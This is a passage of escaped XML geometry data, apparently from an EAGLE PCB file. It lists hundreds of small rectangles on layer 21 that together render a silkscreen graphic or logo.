layer=\"21\"/>\n<rectangle x1=\"-0.8459\" y1=\"1.3343\" x2=\"-0.1665\" y2=\"1.3388\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3343\" x2=\"0.7571\" y2=\"1.3388\" layer=\"21\"/>\n<rectangle x1=\"1.1345\" y1=\"1.3343\" x2=\"2.4578\" y2=\"1.3388\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3388\" x2=\"-1.2145\" y2=\"1.3432\" layer=\"21\"/>\n<rectangle x1=\"-0.8415\" y1=\"1.3388\" x2=\"-0.1665\" y2=\"1.3432\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3388\" x2=\"0.7571\" y2=\"1.3432\" layer=\"21\"/>\n<rectangle x1=\"1.1301\" y1=\"1.3388\" x2=\"2.4578\" y2=\"1.3432\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3432\" x2=\"-1.2145\" y2=\"1.3477\" layer=\"21\"/>\n<rectangle x1=\"-0.8371\" y1=\"1.3432\" x2=\"-0.1665\" y2=\"1.3477\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3432\" x2=\"0.7526\" y2=\"1.3477\" layer=\"21\"/>\n<rectangle x1=\"1.1301\" y1=\"1.3432\" x2=\"2.4578\" y2=\"1.3477\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3477\" x2=\"-1.2101\" y2=\"1.3521\" layer=\"21\"/>\n<rectangle x1=\"-0.8371\" y1=\"1.3477\" x2=\"-0.1665\" y2=\"1.3521\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3477\" x2=\"0.7526\" y2=\"1.3521\" layer=\"21\"/>\n<rectangle x1=\"1.1256\" y1=\"1.3477\" x2=\"2.4578\" y2=\"1.3521\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3521\" x2=\"-1.2056\" y2=\"1.3565\" layer=\"21\"/>\n<rectangle x1=\"-0.8326\" y1=\"1.3521\" x2=\"-0.1665\" y2=\"1.3565\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3521\" x2=\"0.7482\" y2=\"1.3565\" layer=\"21\"/>\n<rectangle x1=\"1.1212\" y1=\"1.3521\" x2=\"2.4578\" y2=\"1.3565\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3565\" x2=\"-1.2056\" y2=\"1.361\" layer=\"21\"/>\n<rectangle x1=\"-0.8326\" y1=\"1.3565\" x2=\"-0.1665\" y2=\"1.361\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3565\" x2=\"0.7482\" y2=\"1.361\" layer=\"21\"/>\n<rectangle x1=\"1.1212\" y1=\"1.3565\" x2=\"2.4578\" y2=\"1.361\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.361\" x2=\"-1.2012\" y2=\"1.3654\" layer=\"21\"/>\n<rectangle x1=\"-0.8282\" y1=\"1.361\" x2=\"-0.1665\" y2=\"1.3654\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.361\" x2=\"0.7438\" y2=\"1.3654\" layer=\"21\"/>\n<rectangle x1=\"1.1168\" y1=\"1.361\" x2=\"2.4578\" y2=\"1.3654\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3654\" x2=\"-1.2012\" y2=\"1.3699\" layer=\"21\"/>\n<rectangle x1=\"-0.8237\" y1=\"1.3654\" x2=\"-0.1665\" y2=\"1.3699\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3654\" x2=\"0.7393\" y2=\"1.3699\" layer=\"21\"/>\n<rectangle x1=\"1.1168\" y1=\"1.3654\" x2=\"2.4578\" y2=\"1.3699\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3699\" x2=\"-1.1967\" y2=\"1.3743\" layer=\"21\"/>\n<rectangle x1=\"-0.8237\" y1=\"1.3699\" x2=\"-0.1665\" y2=\"1.3743\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3699\" x2=\"0.7393\" y2=\"1.3743\" layer=\"21\"/>\n<rectangle x1=\"1.1123\" y1=\"1.3699\" x2=\"2.4578\" y2=\"1.3743\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3743\" x2=\"-1.1967\" y2=\"1.3787\" layer=\"21\"/>\n<rectangle x1=\"-0.8193\" y1=\"1.3743\" x2=\"-0.1665\" y2=\"1.3787\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3743\" x2=\"0.7349\" y2=\"1.3787\" layer=\"21\"/>\n<rectangle x1=\"1.1123\" y1=\"1.3743\" x2=\"2.4578\" y2=\"1.3787\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3787\" x2=\"-1.1923\" y2=\"1.3832\" layer=\"21\"/>\n<rectangle x1=\"-0.8193\" y1=\"1.3787\" x2=\"-0.1665\" y2=\"1.3832\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3787\" x2=\"0.7349\" y2=\"1.3832\" layer=\"21\"/>\n<rectangle x1=\"1.1079\" y1=\"1.3787\" x2=\"2.4578\" y2=\"1.3832\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3832\" x2=\"-1.1879\" y2=\"1.3876\" layer=\"21\"/>\n<rectangle x1=\"-0.8149\" y1=\"1.3832\" x2=\"-0.1665\" y2=\"1.3876\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3832\" x2=\"0.7304\" y2=\"1.3876\" layer=\"21\"/>\n<rectangle x1=\"1.1034\" y1=\"1.3832\" x2=\"2.4578\" y2=\"1.3876\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3876\" x2=\"-1.1879\" y2=\"1.3921\" layer=\"21\"/>\n<rectangle x1=\"-0.8149\" y1=\"1.3876\" x2=\"-0.1665\" y2=\"1.3921\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3876\" x2=\"0.7304\" y2=\"1.3921\" layer=\"21\"/>\n<rectangle x1=\"1.1034\" y1=\"1.3876\" x2=\"2.4578\" y2=\"1.3921\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3921\" x2=\"-1.1834\" y2=\"1.3965\" layer=\"21\"/>\n<rectangle x1=\"-0.8104\" y1=\"1.3921\" x2=\"-0.1665\" y2=\"1.3965\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3921\" x2=\"0.726\" y2=\"1.3965\" layer=\"21\"/>\n<rectangle x1=\"1.099\" y1=\"1.3921\" x2=\"2.4578\" y2=\"1.3965\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.3965\" x2=\"-1.1834\" y2=\"1.4009\" layer=\"21\"/>\n<rectangle x1=\"-0.806\" y1=\"1.3965\" x2=\"-0.1665\" y2=\"1.4009\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.3965\" x2=\"0.7216\" y2=\"1.4009\" layer=\"21\"/>\n<rectangle x1=\"1.099\" y1=\"1.3965\" x2=\"2.4578\" y2=\"1.4009\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4009\" x2=\"-1.179\" y2=\"1.4054\" layer=\"21\"/>\n<rectangle x1=\"-0.806\" y1=\"1.4009\" x2=\"-0.1665\" y2=\"1.4054\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4009\" x2=\"0.7216\" y2=\"1.4054\" layer=\"21\"/>\n<rectangle x1=\"1.0946\" y1=\"1.4009\" x2=\"2.4578\" y2=\"1.4054\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4054\" x2=\"-1.179\" y2=\"1.4098\" layer=\"21\"/>\n<rectangle x1=\"-0.8015\" y1=\"1.4054\" x2=\"-0.1665\" y2=\"1.4098\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4054\" x2=\"0.7171\" y2=\"1.4098\" layer=\"21\"/>\n<rectangle x1=\"1.0901\" y1=\"1.4054\" x2=\"2.4578\" y2=\"1.4098\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4098\" x2=\"-1.1745\" y2=\"1.4143\" layer=\"21\"/>\n<rectangle x1=\"-0.8015\" y1=\"1.4098\" x2=\"-0.1665\" y2=\"1.4143\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4098\" x2=\"0.7171\" y2=\"1.4143\" layer=\"21\"/>\n<rectangle x1=\"1.0901\" y1=\"1.4098\" x2=\"2.4578\" y2=\"1.4143\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4143\" x2=\"-1.1701\" y2=\"1.4187\" layer=\"21\"/>\n<rectangle x1=\"-0.7971\" y1=\"1.4143\" x2=\"-0.1665\" y2=\"1.4187\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4143\" x2=\"0.7127\" y2=\"1.4187\" layer=\"21\"/>\n<rectangle x1=\"1.0857\" y1=\"1.4143\" x2=\"2.4578\" y2=\"1.4187\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4187\" x2=\"-1.1701\" y2=\"1.4231\" layer=\"21\"/>\n<rectangle x1=\"-0.7971\" y1=\"1.4187\" x2=\"-0.1665\" y2=\"1.4231\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4187\" x2=\"0.7082\" y2=\"1.4231\" layer=\"21\"/>\n<rectangle x1=\"1.0857\" y1=\"1.4187\" x2=\"2.4578\" y2=\"1.4231\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4231\" x2=\"-1.1657\" y2=\"1.4276\" layer=\"21\"/>\n<rectangle x1=\"-0.7927\" y1=\"1.4231\" x2=\"-0.1665\" y2=\"1.4276\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4231\" x2=\"0.7082\" y2=\"1.4276\" layer=\"21\"/>\n<rectangle x1=\"1.0812\" y1=\"1.4231\" x2=\"2.4578\" y2=\"1.4276\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4276\" x2=\"-1.1657\" y2=\"1.432\" layer=\"21\"/>\n<rectangle x1=\"-0.7882\" y1=\"1.4276\" x2=\"-0.1665\" y2=\"1.432\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4276\" x2=\"0.7038\" y2=\"1.432\" layer=\"21\"/>\n<rectangle x1=\"1.0812\" y1=\"1.4276\" x2=\"2.4578\" y2=\"1.432\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.432\" x2=\"-1.1612\" y2=\"1.4365\" layer=\"21\"/>\n<rectangle x1=\"-0.7882\" y1=\"1.432\" x2=\"-0.1665\" y2=\"1.4365\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.432\" x2=\"0.7038\" y2=\"1.4365\" layer=\"21\"/>\n<rectangle x1=\"1.0768\" y1=\"1.432\" x2=\"2.4578\" y2=\"1.4365\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4365\" x2=\"-1.1568\" y2=\"1.4409\" layer=\"21\"/>\n<rectangle x1=\"-0.7838\" y1=\"1.4365\" x2=\"-0.1665\" y2=\"1.4409\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4365\" x2=\"0.6993\" y2=\"1.4409\" layer=\"21\"/>\n<rectangle x1=\"1.0723\" y1=\"1.4365\" x2=\"2.4578\" y2=\"1.4409\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4409\" x2=\"-1.1568\" y2=\"1.4454\" layer=\"21\"/>\n<rectangle x1=\"-0.7838\" y1=\"1.4409\" x2=\"-0.1665\" y2=\"1.4454\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4409\" x2=\"0.6993\" y2=\"1.4454\" layer=\"21\"/>\n<rectangle x1=\"1.0723\" y1=\"1.4409\" x2=\"2.4578\" y2=\"1.4454\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4454\" x2=\"-1.1523\" y2=\"1.4498\" layer=\"21\"/>\n<rectangle x1=\"-0.7793\" y1=\"1.4454\" x2=\"-0.1665\" y2=\"1.4498\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4454\" x2=\"0.6949\" y2=\"1.4498\" layer=\"21\"/>\n<rectangle x1=\"1.0679\" y1=\"1.4454\" x2=\"2.4578\" y2=\"1.4498\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4498\" x2=\"-1.1523\" y2=\"1.4542\" layer=\"21\"/>\n<rectangle x1=\"-0.7793\" y1=\"1.4498\" x2=\"-0.1665\" y2=\"1.4542\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4498\" x2=\"0.6905\" y2=\"1.4542\" layer=\"21\"/>\n<rectangle x1=\"1.0679\" y1=\"1.4498\" x2=\"2.4578\" y2=\"1.4542\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4542\" x2=\"-1.1479\" y2=\"1.4587\" layer=\"21\"/>\n<rectangle x1=\"-0.7749\" y1=\"1.4542\" x2=\"-0.1665\" y2=\"1.4587\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4542\" x2=\"0.6905\" y2=\"1.4587\" layer=\"21\"/>\n<rectangle x1=\"1.0635\" y1=\"1.4542\" x2=\"2.4578\" y2=\"1.4587\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4587\" x2=\"-1.1479\" y2=\"1.4631\" layer=\"21\"/>\n<rectangle x1=\"-0.7705\" y1=\"1.4587\" x2=\"-0.1665\" y2=\"1.4631\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4587\" x2=\"0.686\" y2=\"1.4631\" layer=\"21\"/>\n<rectangle x1=\"1.0635\" y1=\"1.4587\" x2=\"2.4578\" y2=\"1.4631\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4631\" x2=\"-1.1435\" y2=\"1.4676\" layer=\"21\"/>\n<rectangle x1=\"-0.7705\" y1=\"1.4631\" x2=\"-0.1665\" y2=\"1.4676\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4631\" x2=\"0.686\" y2=\"1.4676\" layer=\"21\"/>\n<rectangle x1=\"1.059\" y1=\"1.4631\" x2=\"2.4578\" y2=\"1.4676\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4676\" x2=\"-1.139\" y2=\"1.472\" layer=\"21\"/>\n<rectangle x1=\"-0.766\" y1=\"1.4676\" x2=\"-0.1665\" y2=\"1.472\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4676\" x2=\"0.6816\" y2=\"1.472\" layer=\"21\"/>\n<rectangle x1=\"1.0546\" y1=\"1.4676\" x2=\"2.4578\" y2=\"1.472\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.472\" x2=\"-1.139\" y2=\"1.4764\" layer=\"21\"/>\n<rectangle x1=\"-0.766\" y1=\"1.472\" x2=\"-0.1665\" y2=\"1.4764\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.472\" x2=\"0.6816\" y2=\"1.4764\" layer=\"21\"/>\n<rectangle x1=\"1.0546\" y1=\"1.472\" x2=\"2.4578\" y2=\"1.4764\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4764\" x2=\"-1.1346\" y2=\"1.4809\" layer=\"21\"/>\n<rectangle x1=\"-0.7616\" y1=\"1.4764\" x2=\"-0.1665\" y2=\"1.4809\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4764\" x2=\"0.6771\" y2=\"1.4809\" layer=\"21\"/>\n<rectangle x1=\"1.0501\" y1=\"1.4764\" x2=\"2.4578\" y2=\"1.4809\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4809\" x2=\"-1.1346\" y2=\"1.4853\" layer=\"21\"/>\n<rectangle x1=\"-0.7571\" y1=\"1.4809\" x2=\"-0.1665\" y2=\"1.4853\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4809\" x2=\"0.6727\" y2=\"1.4853\" layer=\"21\"/>\n<rectangle x1=\"1.0501\" y1=\"1.4809\" x2=\"2.4578\" y2=\"1.4853\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4853\" x2=\"-1.1301\" y2=\"1.4898\" layer=\"21\"/>\n<rectangle x1=\"-0.7571\" y1=\"1.4853\" x2=\"-0.1665\" y2=\"1.4898\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4853\" x2=\"0.6727\" y2=\"1.4898\" layer=\"21\"/>\n<rectangle x1=\"1.0457\" y1=\"1.4853\" x2=\"2.4578\" y2=\"1.4898\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4898\" x2=\"-1.1301\" y2=\"1.4942\" layer=\"21\"/>\n<rectangle x1=\"-0.7527\" y1=\"1.4898\" x2=\"-0.1665\" y2=\"1.4942\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4898\" x2=\"0.6683\" y2=\"1.4942\" layer=\"21\"/>\n<rectangle x1=\"1.0457\" y1=\"1.4898\" x2=\"2.4578\" y2=\"1.4942\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4942\" x2=\"-1.1257\" y2=\"1.4986\" layer=\"21\"/>\n<rectangle x1=\"-0.7527\" y1=\"1.4942\" x2=\"-0.1665\" y2=\"1.4986\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4942\" x2=\"0.6683\" y2=\"1.4986\" layer=\"21\"/>\n<rectangle x1=\"1.0413\" y1=\"1.4942\" x2=\"2.4578\" y2=\"1.4986\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.4986\" x2=\"-1.1213\" y2=\"1.5031\" layer=\"21\"/>\n<rectangle x1=\"-0.7483\" y1=\"1.4986\" x2=\"-0.1665\" y2=\"1.5031\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.4986\" x2=\"0.6638\" y2=\"1.5031\" layer=\"21\"/>\n<rectangle x1=\"1.0368\" y1=\"1.4986\" x2=\"2.4578\" y2=\"1.5031\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5031\" x2=\"-1.1213\" y2=\"1.5075\" layer=\"21\"/>\n<rectangle x1=\"-0.7483\" y1=\"1.5031\" x2=\"-0.1665\" y2=\"1.5075\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5031\" x2=\"0.6638\" y2=\"1.5075\" layer=\"21\"/>\n<rectangle x1=\"1.0368\" y1=\"1.5031\" x2=\"2.4578\" y2=\"1.5075\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5075\" x2=\"-1.1168\" y2=\"1.512\" layer=\"21\"/>\n<rectangle x1=\"-0.7438\" y1=\"1.5075\" x2=\"-0.1665\" y2=\"1.512\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5075\" x2=\"0.6594\" y2=\"1.512\" layer=\"21\"/>\n<rectangle x1=\"1.0324\" y1=\"1.5075\" x2=\"2.4578\" y2=\"1.512\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.512\" x2=\"-1.1168\" y2=\"1.5164\" layer=\"21\"/>\n<rectangle x1=\"-0.7394\" y1=\"1.512\" x2=\"-0.1665\" y2=\"1.5164\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.512\" x2=\"0.6549\" y2=\"1.5164\" layer=\"21\"/>\n<rectangle x1=\"1.0324\" y1=\"1.512\" x2=\"2.4578\" y2=\"1.5164\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5164\" x2=\"-1.1124\" y2=\"1.5208\" layer=\"21\"/>\n<rectangle x1=\"-0.7394\" y1=\"1.5164\" x2=\"-0.1665\" y2=\"1.5208\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5164\" x2=\"0.6549\" y2=\"1.5208\" layer=\"21\"/>\n<rectangle x1=\"1.0279\" y1=\"1.5164\" x2=\"2.4578\" y2=\"1.5208\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5208\" x2=\"-1.1124\" y2=\"1.5253\" layer=\"21\"/>\n<rectangle x1=\"-0.7349\" y1=\"1.5208\" x2=\"-0.1665\" y2=\"1.5253\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5208\" x2=\"0.6505\" y2=\"1.5253\" layer=\"21\"/>\n<rectangle x1=\"1.0235\" y1=\"1.5208\" x2=\"2.4578\" y2=\"1.5253\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5253\" x2=\"-1.1079\" y2=\"1.5297\" layer=\"21\"/>\n<rectangle x1=\"-0.7349\" y1=\"1.5253\" x2=\"-0.1665\" y2=\"1.5297\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5253\" x2=\"0.6505\" y2=\"1.5297\" layer=\"21\"/>\n<rectangle x1=\"1.0235\" y1=\"1.5253\" x2=\"2.4578\" y2=\"1.5297\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5297\" x2=\"-1.1035\" y2=\"1.5342\" layer=\"21\"/>\n<rectangle x1=\"-0.7305\" y1=\"1.5297\" x2=\"-0.1665\" y2=\"1.5342\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5297\" x2=\"0.6461\" y2=\"1.5342\" layer=\"21\"/>\n<rectangle x1=\"1.0191\" y1=\"1.5297\" x2=\"2.4578\" y2=\"1.5342\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5342\" x2=\"-1.1035\" y2=\"1.5386\" layer=\"21\"/>\n<rectangle x1=\"-0.7305\" y1=\"1.5342\" x2=\"-0.1665\" y2=\"1.5386\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5342\" x2=\"0.6416\" y2=\"1.5386\" layer=\"21\"/>\n<rectangle x1=\"1.0191\" y1=\"1.5342\" x2=\"2.4578\" y2=\"1.5386\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5386\" x2=\"-1.0991\" y2=\"1.543\" layer=\"21\"/>\n<rectangle x1=\"-0.7261\" y1=\"1.5386\" x2=\"-0.1665\" y2=\"1.543\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5386\" x2=\"0.6416\" y2=\"1.543\" layer=\"21\"/>\n<rectangle x1=\"1.0146\" y1=\"1.5386\" x2=\"2.4578\" y2=\"1.543\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.543\" x2=\"-1.0991\" y2=\"1.5475\" layer=\"21\"/>\n<rectangle x1=\"-0.7216\" y1=\"1.543\" x2=\"-0.1665\" y2=\"1.5475\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.543\" x2=\"0.6372\" y2=\"1.5475\" layer=\"21\"/>\n<rectangle x1=\"1.0146\" y1=\"1.543\" x2=\"2.4578\" y2=\"1.5475\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5475\" x2=\"-1.0946\" y2=\"1.5519\" layer=\"21\"/>\n<rectangle x1=\"-0.7216\" y1=\"1.5475\" x2=\"-0.1665\" y2=\"1.5519\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5475\" x2=\"0.6372\" y2=\"1.5519\" layer=\"21\"/>\n<rectangle x1=\"1.0102\" y1=\"1.5475\" x2=\"2.4578\" y2=\"1.5519\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5519\" x2=\"-1.0902\" y2=\"1.5564\" layer=\"21\"/>\n<rectangle x1=\"-0.7172\" y1=\"1.5519\" x2=\"-0.1665\" y2=\"1.5564\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5519\" x2=\"0.6327\" y2=\"1.5564\" layer=\"21\"/>\n<rectangle x1=\"1.0057\" y1=\"1.5519\" x2=\"2.4578\" y2=\"1.5564\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5564\" x2=\"-1.0902\" y2=\"1.5608\" layer=\"21\"/>\n<rectangle x1=\"-0.7172\" y1=\"1.5564\" x2=\"-0.1665\" y2=\"1.5608\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5564\" x2=\"0.6327\" y2=\"1.5608\" layer=\"21\"/>\n<rectangle x1=\"1.0057\" y1=\"1.5564\" x2=\"2.4578\" y2=\"1.5608\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5608\" x2=\"-1.0857\" y2=\"1.5652\" layer=\"21\"/>\n<rectangle x1=\"-0.7127\" y1=\"1.5608\" x2=\"-0.1665\" y2=\"1.5652\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5608\" x2=\"0.6283\" y2=\"1.5652\" layer=\"21\"/>\n<rectangle x1=\"1.0013\" y1=\"1.5608\" x2=\"2.4578\" y2=\"1.5652\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5652\" x2=\"-1.0857\" y2=\"1.5697\" layer=\"21\"/>\n<rectangle x1=\"-0.7083\" y1=\"1.5652\" x2=\"-0.1665\" y2=\"1.5697\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5652\" x2=\"0.6239\" y2=\"1.5697\" layer=\"21\"/>\n<rectangle x1=\"1.0013\" y1=\"1.5652\" x2=\"2.4578\" y2=\"1.5697\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5697\" x2=\"-1.0813\" y2=\"1.5741\" layer=\"21\"/>\n<rectangle x1=\"-0.7083\" y1=\"1.5697\" x2=\"-0.1665\" y2=\"1.5741\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5697\" x2=\"0.6239\" y2=\"1.5741\" layer=\"21\"/>\n<rectangle x1=\"0.9969\" y1=\"1.5697\" x2=\"2.4578\" y2=\"1.5741\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5741\" x2=\"-1.0813\" y2=\"1.5786\" layer=\"21\"/>\n<rectangle x1=\"-0.7038\" y1=\"1.5741\" x2=\"-0.1665\" y2=\"1.5786\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5741\" x2=\"0.6194\" y2=\"1.5786\" layer=\"21\"/>\n<rectangle x1=\"0.9969\" y1=\"1.5741\" x2=\"2.4578\" y2=\"1.5786\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5786\" x2=\"-1.0769\" y2=\"1.583\" layer=\"21\"/>\n<rectangle x1=\"-0.7038\" y1=\"1.5786\" x2=\"-0.1665\" y2=\"1.583\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5786\" x2=\"0.6194\" y2=\"1.583\" layer=\"21\"/>\n<rectangle x1=\"0.9924\" y1=\"1.5786\" x2=\"2.4578\" y2=\"1.583\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.583\" x2=\"-1.0724\" y2=\"1.5874\" layer=\"21\"/>\n<rectangle x1=\"-0.6994\" y1=\"1.583\" x2=\"-0.1665\" y2=\"1.5874\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.583\" x2=\"0.615\" y2=\"1.5874\" layer=\"21\"/>\n<rectangle x1=\"0.988\" y1=\"1.583\" x2=\"2.4578\" y2=\"1.5874\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5874\" x2=\"-1.0724\" y2=\"1.5919\" layer=\"21\"/>\n<rectangle x1=\"-0.6994\" y1=\"1.5874\" x2=\"-0.1665\" y2=\"1.5919\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5874\" x2=\"0.615\" y2=\"1.5919\" layer=\"21\"/>\n<rectangle x1=\"0.988\" y1=\"1.5874\" x2=\"2.4578\" y2=\"1.5919\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5919\" x2=\"-1.068\" y2=\"1.5963\" layer=\"21\"/>\n<rectangle x1=\"-0.695\" y1=\"1.5919\" x2=\"-0.1665\" y2=\"1.5963\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5919\" x2=\"0.6105\" y2=\"1.5963\" layer=\"21\"/>\n<rectangle x1=\"0.9835\" y1=\"1.5919\" x2=\"2.4578\" y2=\"1.5963\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.5963\" x2=\"-1.068\" y2=\"1.6008\" layer=\"21\"/>\n<rectangle x1=\"-0.6905\" y1=\"1.5963\" x2=\"-0.1665\" y2=\"1.6008\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.5963\" x2=\"0.6061\" y2=\"1.6008\" layer=\"21\"/>\n<rectangle x1=\"0.9835\" y1=\"1.5963\" x2=\"2.4578\" y2=\"1.6008\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6008\" x2=\"-1.0635\" y2=\"1.6052\" layer=\"21\"/>\n<rectangle x1=\"-0.6905\" y1=\"1.6008\" x2=\"-0.1665\" y2=\"1.6052\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6008\" x2=\"0.6061\" y2=\"1.6052\" layer=\"21\"/>\n<rectangle x1=\"0.9791\" y1=\"1.6008\" x2=\"2.4578\" y2=\"1.6052\" 